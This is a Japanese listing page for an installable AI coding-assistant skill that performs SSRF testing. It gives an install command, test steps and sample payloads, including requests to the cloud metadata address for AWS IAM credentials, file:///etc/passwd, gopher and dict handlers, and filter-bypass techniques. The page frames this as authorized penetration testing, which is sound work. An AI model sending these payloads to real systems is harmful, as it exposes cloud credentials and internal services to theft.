performing-ssrf-vulnerability-exploitation について
許可を得た SSRF 評価向けのセキュリティテストスキルです。テスト環境でのペイロード検証、応答分析、レポート作成を扱います。
主な機能
- 01SSRF ペイロードによる URL パラメーターの検証
- 02クラウドメタデータと内部サービスの確認
- 03プロトコルハンドラーと回避手法のテスト
- 04アクセスや情報漏えいに関する応答分析
- 05脆弱性評価レポートの作成
活用シーン
- 01アプリの URL 取得機能の評価
- 02ラボ環境での SSRF 対策の検証
- 03SSRF 関連インシデントの調査
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-ssrf-vulnerability-exploitationインストール後、Claude Code で/performing-ssrf-vulnerability-exploitationを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
使用する場面
- SSRF 脆弱性の悪用を伴うセキュリティ評価を実施する場合
- 関連するセキュリティインシデントに対するインシデント対応手順に従う場合
- 定期的なセキュリティテストや監査を実施する場合
- 実地テストを通じてセキュリティ制御を検証する場合
前提条件
- セキュリティ運用の概念とツールに関する知識があること
- 安全に実行できるテスト環境またはラボ環境へのアクセスがあること
- 必要な依存関係をインストールした Python 3.8 以降
- テスト活動に対する適切な許可を得ていること
手順
- 依存関係をインストールします:
pip install requests - 対象アプリケーションで、URL またはホスト名を受け付ける URL パラメーターを特定します。
- SSRF ペイロードをテストします:
- クラウドメタデータ:
http://169.254.169.254/latest/meta-data/ - 内部サービス:
http://127.0.0.1:port/、http://10.0.0.1/ - プロトコルハンドラー:
file:///etc/passwd、gopher://、dict:// - 回避手法:IP エンコーディング、DNS リバインディング、URL リダイレクト
- クラウドメタデータ:
- 情報漏えいまたは内部アクセスを確認できる応答を分析します。
- 脆弱性評価レポートを作成します。
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
例
AWS メタデータ SSRF
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
応答に AWS 認証情報(AccessKeyId、SecretAccessKey)が含まれている場合、重大な影響を伴う SSRF が確認されたことになります。
コメント
Markdown 対応